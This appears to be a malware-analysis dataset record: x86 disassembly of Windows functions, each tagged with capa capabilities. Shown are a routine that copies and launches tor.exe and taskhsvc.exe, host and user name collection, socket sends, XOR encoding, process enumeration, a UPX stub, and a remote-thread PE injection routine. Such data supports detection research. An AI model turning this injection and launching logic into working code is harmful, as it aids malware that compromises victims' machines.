joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b840
Capabilities:
Check if file exists
Copy file
Create process on windows
Get file attributes

Disassembly:
sub esp, 0x464
mov al, byte [0x421798]
push esi
push edi
mov byte [esp + 0x5c], al
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x5d]
push str.taskhsvc.exe
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x421500
push str.TaskData
lea ecx, [esp + 0x68]
push 0x4214e8
push ecx
stosb byte es:[edi], al
call sub.MSVCRT.dll_sprintf
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add esp, 0x14
lea edx, [esp + 0x5c]
push edx
call esi
cmp eax, 0xffffffff
jne 0x40b95b
push 0
push 0x4220e4
push str.TaskData
call fcn.0040b6a0
add esp, 0xc
test al, al
jne 0x40b8e9
push 0
push 0x422148
push str.TaskData
call fcn.0040b780
add esp, 0xc
test al, al
jne 0x40b8e9
push 0
push 0x4221ac
push str.TaskData
call fcn.0040b780
add esp, 0xc
test al, al
jne 0x40b8e9
pop edi
pop esi
add esp, 0x464
ret
mov al, byte [0x421798]
mov ecx, 0x81
mov byte [esp + 0x264], al
xor eax, eax
lea edi, [esp + 0x265]
push str.tor.exe
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x421500
push str.TaskData
lea ecx, [esp + 0x270]
push 0x4214e8
push ecx
stosb byte es:[edi], al
call sub.MSVCRT.dll_sprintf
add esp, 0x14
lea edx, [esp + 0x264]
push edx
call esi
cmp eax, 0xffffffff
jne 0x40b946
pop edi
xor al, al
pop esi
add esp, 0x464
ret
lea eax, [esp + 0x5c]
push 0
lea ecx, [esp + 0x268]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
mov dword [esp + 0x18], 0x44
xor edx, edx
mov dword [esp + 8], eax
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], edx
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], edx
push eax
push ecx
push edx
push edx
push 0x8000000
push edx
push edx
mov dword [esp + 0x30], edx
mov word [esp + 0x64], dx
push edx
lea edx, [esp + 0x7c]
mov dword [esp + 0x64], 1
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40b9bf
pop edi
xor al, al
pop esi
add esp, 0x464
ret
mov eax, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1388
push eax
call esi
cmp eax, 0x102
jne 0x40b9e4
mov ecx, dword [esp + 8]
push 0x7530
push ecx
call esi
mov edx, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0xc]
push eax
call esi
pop edi
mov al, 1
pop esi
add esp, 0x464
ret
Function at 0x40bed0
Capabilities:
Get hostname
Get session user name

Disassembly:
mov eax, dword fs:[0]
mov ecx, dword [0x422210]
push 0xffffffffffffffff
push 0x41429e
push eax
mov dword fs:[0], esp
sub esp, 0x264
test ecx, ecx
je 0x40bf0a
mov eax, dword [ecx]
call dword [eax + 0xc]
mov ecx, dword [0x422210]
test ecx, ecx
je 0x40bf0a
mov edx, dword [ecx]
push 1
call dword [edx]
push 0x2c
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 8], eax
test eax, eax
mov dword [esp + 0x26c], 0
je 0x40bf30
mov ecx, eax
call fcn.0040d5e0
jmp 0x40bf32
xor eax, eax
test eax, eax
mov dword [esp + 0x26c], 0xffffffff
mov dword [0x422210], eax
jne 0x40bf5e
or eax, 0xffffffff
mov ecx, dword [esp + 0x264]
mov dword fs:[0], ecx
add esp, 0x270
ret
mov eax, dword [esp + 0x274]
push eax
call fcn.0040baf0
add esp, 4
test eax, eax
je 0x40bf8a
or eax, 0xffffffff
mov ecx, dword [esp + 0x264]
mov dword fs:[0], ecx
add esp, 0x270
ret
mov cl, byte [0x421798]
push esi
push edi
mov byte [esp + 0x14], cl
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x15]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
mov esi, 0x12b
push edx
push eax
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov cl, byte [0x421798]
xor eax, eax
mov byte [esp + 0x140], cl
mov ecx, 0x4a
lea edi, [esp + 0x141]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x140]
push edx
push eax
mov byte [esp + 0x44], 0
mov dword [esp + 0x14], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ecx, dword [esp + 0x280]
mov esi, dword [esp + 0x288]
push 8
push ecx
mov ecx, esi
call fcn.0040dc00
lea edx, [esp + 0x14]
mov ecx, esi
push edx
call fcn.0040dd00
mov al, byte [esp + 0x284]
lea ecx, [esp + 0xb]
push 1
push ecx
mov ecx, esi
mov byte [esp + 0x13], al
call fcn.0040dc00
lea edx, [esp + 0x140]
mov ecx, esi
push edx
call fcn.0040dd00
mov ecx, dword [esp + 0x26c]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x270
ret
Function at 0x40d2b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
xor esi, esi
push edi
test eax, eax
mov edi, ecx
jle 0x40d2f7
push ebx
push ebp
lea ebp, [edi + 8]
mov eax, dword [esp + 0x14]
mov cl, byte [edi + 0x26]
push 0x1e
push ebp
mov dl, byte [esi + eax]
xor dl, cl
mov byte [esi + eax], dl
mov bl, byte [edi + 0x26]
mov cl, byte [edi + 0x13]
lea eax, [edi + 9]
push eax
xor bl, cl
call sub.MSVCRT.dll_memmove
mov eax, dword [esp + 0x24]
add esp, 0xc
inc esi
mov byte [ebp], bl
cmp esi, eax
jl 0x40d2c3
pop ebp
pop ebx
pop edi
pop esi
ret 8

Function at 0x40dad0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 8
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x40db33
lea ecx, [esp + 0xc]
push 4
push ecx
push 0x80
mov edi, 1
push 0xffff
push eax
mov byte [esp + 0x1f], 0xff
mov word [esp + 0x20], di
mov word [esp + 0x22], di
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [esi + 4]
push 0
lea edx, [esp + 0xf]
push edi
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esi + 4]
push 2
push ecx
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 7
xor eax, eax
lea edi, [esi + 8]
mov dword [esi + 4], 0xffffffff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esi + 0x27], 0
mov dword [esi + 0x28], 0x3c
pop edi
pop esi
add esp, 8
ret
Function at 0x40ff90
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x40ff9b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x41009e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x41b60c]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x41b60c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x41b60c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x41b60c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x41b60c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x41b60c]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x41b60c]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x41b60c]
xor eax, edx
inc ecx
dec edi
jne 0x40ffb6
pop edi
test esi, esi
je 0x4100c0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x41b60c]
xor eax, edx
inc ecx
dec esi
jne 0x4100a2
pop esi
pop ebx
not eax
ret

Function at 0x4100d0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x41b60c]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x41b60c]
xor eax, edx
mov dword [ecx + 8], eax
ret
Function at 0x410af0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x10]
mov cl, byte [ebx]
mov eax, ebp
imul eax, dword [esp + 0x14]
test cl, cl
je 0x410b31
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push 0
push ecx
push eax
mov eax, dword [ebx + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x410b26
mov byte [ebx + 8], 1
mov eax, dword [esp + 0xc]
xor edx, edx
div ebp
pop ebp
pop ebx
ret
mov edx, dword [ebx + 0x1c]
mov ecx, dword [ebx + 0x18]
push esi
push edi
lea esi, [edx + eax]
cmp esi, ecx
jbe 0x410b44
sub ecx, edx
mov eax, ecx
mov esi, dword [ebx + 0x14]
mov edi, dword [esp + 0x14]
mov ecx, eax
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x1c]
pop edi
add ecx, eax
pop esi
div ebp
mov dword [ebx + 0x1c], ecx
pop ebp
pop ebx
ret
Function at 0x411660
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
xor ebx, ebx
cmp edi, ebx
jne 0x41167c
pop edi
pop esi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x18], ebx
jne 0x41168d
pop edi
pop esi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x7c], ebx
je 0x41169b
push edi
call fcn.00411ac0
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
push edi
call fcn.00411460
add esp, 0x10
test eax, eax
je 0x4116c3
pop edi
pop esi
mov eax, 0xffffff99
pop ebx
add esp, 8
ret
push 0x84
call sub.MSVCRT.dll_malloc
mov esi, eax
add esp, 4
cmp esi, ebx
jne 0x4116e2
pop edi
pop esi
mov eax, 0xffffff98
pop ebx
add esp, 8
ret
push 0x4000
call sub.MSVCRT.dll_malloc
mov dword [esi], eax
mov ecx, dword [esp + 0x1c]
mov dword [esi + 0x44], ecx
mov edx, dword [esp + 0x10]
add esp, 4
cmp eax, ebx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
jne 0x41171b
push esi
call sub.MSVCRT.dll_free
add esp, 4
mov eax, 0xffffff98
pop edi
pop esi
pop ebx
add esp, 8
ret
mov dword [esi + 0x40], ebx
mov edx, dword [edi + 0x34]
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp edx, ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
sete al
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
cmp eax, ebx
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
jne 0x411769
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
push eax
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.00410380
add esp, 4
test eax, eax
jne 0x411769
mov dword [esi + 0x40], 1
mov ecx, dword [edi + 0x40]
mov dword [esi + 0x58], ecx
mov edx, dword [edi + 0x44]
mov dword [esi + 0x5c], edx
mov al, byte [edi + 0x30]
and al, 1
mov byte [esi + 0x6c], al
mov ecx, dword [edi + 0x30]
shr ecx, 3
test cl, 1
je 0x411796
mov edx, dword [edi + 0x38]
shr edx, 8
mov byte [esi + 0x80], dl
jmp 0x4117a2
mov eax, dword [edi + 0x3c]
shr eax, 0x18
mov byte [esi + 0x80], al
mov cl, byte [esi + 0x6c]
push ebp
mov ebp, dword [esp + 0x20]
lea ebx, [esi + 0x70]
neg cl
sbb ecx, ecx
mov dword [ebx], 0x12345678
and ecx, 0xc
mov dword [esi + 0x74], 0x23456789
test ebp, ebp
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x78], 0x34567890
je 0x4117e3
mov al, byte [ebp]
test al, al
je 0x4117e3
push eax
push ebx
call fcn.004100d0
add esp, 8
inc ebp
jne 0x4117cf
mov edx, dword [edi + 0x78]
mov eax, dword [esp + 0x14]
mov dword [esi + 8], 0
pop ebp
lea ecx, [edx + eax + 0x1e]
xor eax, eax
mov dword [esi + 0x3c], ecx
mov dword [edi + 0x7c], esi
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x411c00
Capabilities:
Get common file path

Disassembly:
push ecx
push ebp
mov ebp, ecx
push esi
push edi
cmp dword [ebp], 0
jne 0x411ce2
cmp dword [ebp + 4], 0xffffffff
jne 0x411ce2
push ebx
lea ebx, [ebp + 0x140]
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov cl, byte [ecx + ebp + 0x13f]
cmp cl, 0x5c
je 0x411c72
cmp cl, 0x2f
je 0x411c72
mov edi, 0x42172c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x20]
mov esi, dword [esp + 0x18]
cmp edi, 1
pop ebx
jne 0x411c9e
push 1
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x411c9e
pop edi
pop esi
mov eax, 0x2000000
pop ebp
pop ecx
ret 0xc
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push edi
push ecx
push esi
call fcn.004108a0
add esp, 0x10
test eax, eax
jne 0x411cc1
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
pop ecx
ret 0xc
push eax
call fcn.00410dc0
add esp, 4
mov dword [ebp], eax
neg eax
sbb eax, eax
pop edi
and eax, 0xfffffe00
pop esi
add eax, 0x200
pop ebp
pop ecx
ret 0xc
pop edi
pop esi
mov eax, 0x1000000
pop ebp
pop ecx
ret 0xc
Function at 0x412250
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x208
push ebx
mov ebx, dword [esp + 0x210]
test ebx, ebx
push ebp
je 0x412278
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x412278
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebp, dword [esp + 0x218]
mov cl, byte [ebp]
test cl, cl
je 0x412352
mov eax, ebp
mov edx, ebp
cmp cl, 0x2f
je 0x412298
cmp cl, 0x5c
jne 0x41229a
mov eax, edx
mov cl, byte [edx + 1]
inc edx
test cl, cl
jne 0x41228e
push esi
cmp eax, ebp
push edi
je 0x4122dc
sub eax, ebp
mov esi, ebp
mov ecx, eax
lea edi, [esp + 0x114]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + eax + 0x114], 0
lea eax, [esp + 0x114]
push eax
push ebx
call fcn.00412250
add esp, 8
test ebx, ebx
mov byte [esp + 0x10], 0
je 0x412308
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
cmp eax, 0xffffffff
pop esi
jne 0x412352
lea ecx, [esp + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x401a30
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x40d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push edx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push esi
push eax
push edi
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [ebp - 0x24]
push ebx
push 0
push 0x1fffff
mov ecx, dword [edi + 0x3c]
add ecx, edi
mov dword [ebp - 0x20], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [ebp - 0x20]
mov esi, eax
push 0x40
push 0x3000
mov dword [ebp - 0x28], esi
push dword [ebx + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [ebx + 0x54]
mov dword [ebp - 0x20], eax
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [ebx + 6]
jae 0x401b0a
lea esi, [ebx + 0x10c]
nop dword [eax]
mov eax, dword [esi]
add eax, dword [ebp - 0x24]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x20]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 6]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x401ae0
mov esi, dword [ebp - 0x28]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x24]
mov edi, eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
push 0
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebx + 0xa0]
add ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebx + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 8], eax
lea eax, [ebp - 0x1c]
push eax
push edi
push esi
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebp - 0x28]
lea esi, [edi + 0x18]
push 0
mov eax, fcn.00401a20
sub eax, 0x401910
push eax
push 0x401910
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040857d
mov esp, ebp
pop ebp
ret
Function at 0x402e10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x40d00c]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x138], eax
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x402eb7
push 0x124
lea eax, [ebp - 0x130]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402eb0
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
nop dword [eax + eax]
push dword [ebp - 0x138]
lea eax, [ebp - 0x110]
push eax
call ebx
add esp, 8
test eax, eax
je 0x402eaa
lea eax, [ebp - 0x134]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402e80
jmp 0x402eb0
mov edi, dword [ebp - 0x12c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040857d
mov esp, ebp
pop ebp
ret 4

Function at 0x404ce0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x40d00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x234], ecx
push ecx
call fcn.00402e10
push eax
push 0x18
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x404d6a
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x224
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x404d63
nop word [eax + eax]
lea eax, [ebp - 0x210]
push edi
push eax
call ebx
add esp, 8
test eax, eax
je 0x404d7a
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x404d40
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x234]
jmp 0x404d08
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040857d
mov esp, ebp
pop ebp
ret 8
Function at 0x4090e1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409120
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409120
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409120
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409120
cmp dword [ecx + 0x74], 0xe
jbe 0x409120
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x414e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x414e7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414e81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414e70
mov eax, 1
add ebx, ebx
jne 0x414e93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414e88
jne 0x414ea4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414e88
xor ecx, ecx
sub eax, 3
jb 0x414eb8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414f2a
mov ebp, eax
add ebx, ebx
jne 0x414ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414ef4
inc ecx
add ebx, ebx
jne 0x414ee0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414ed5
jne 0x414ef1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414ed5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414f14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414f05
jmp 0x414e76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414f14
add edi, ecx
jmp 0x414e76
pop esi
mov edi, esi
mov ecx, 0x5a7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414f32
cmp byte [edi], 5
jne 0x414f32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414f37
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414fa6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15454]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1551c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414f64
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15520]
or eax, eax
je 0x414fa0
mov dword [ebx], eax
add ebx, 4
jmp 0x414f81
call dword [esi + 0x15530]
mov ebp, dword [esi + 0x15524]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414fda
sub esp, 0xffffff80
jmp 0x40a764
Function at 0x40c05d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push Ordinal_4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c0b5
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push 0x40e1f4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40c0a8
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x40c0b7
xor eax, eax
pop esi
leave
ret 4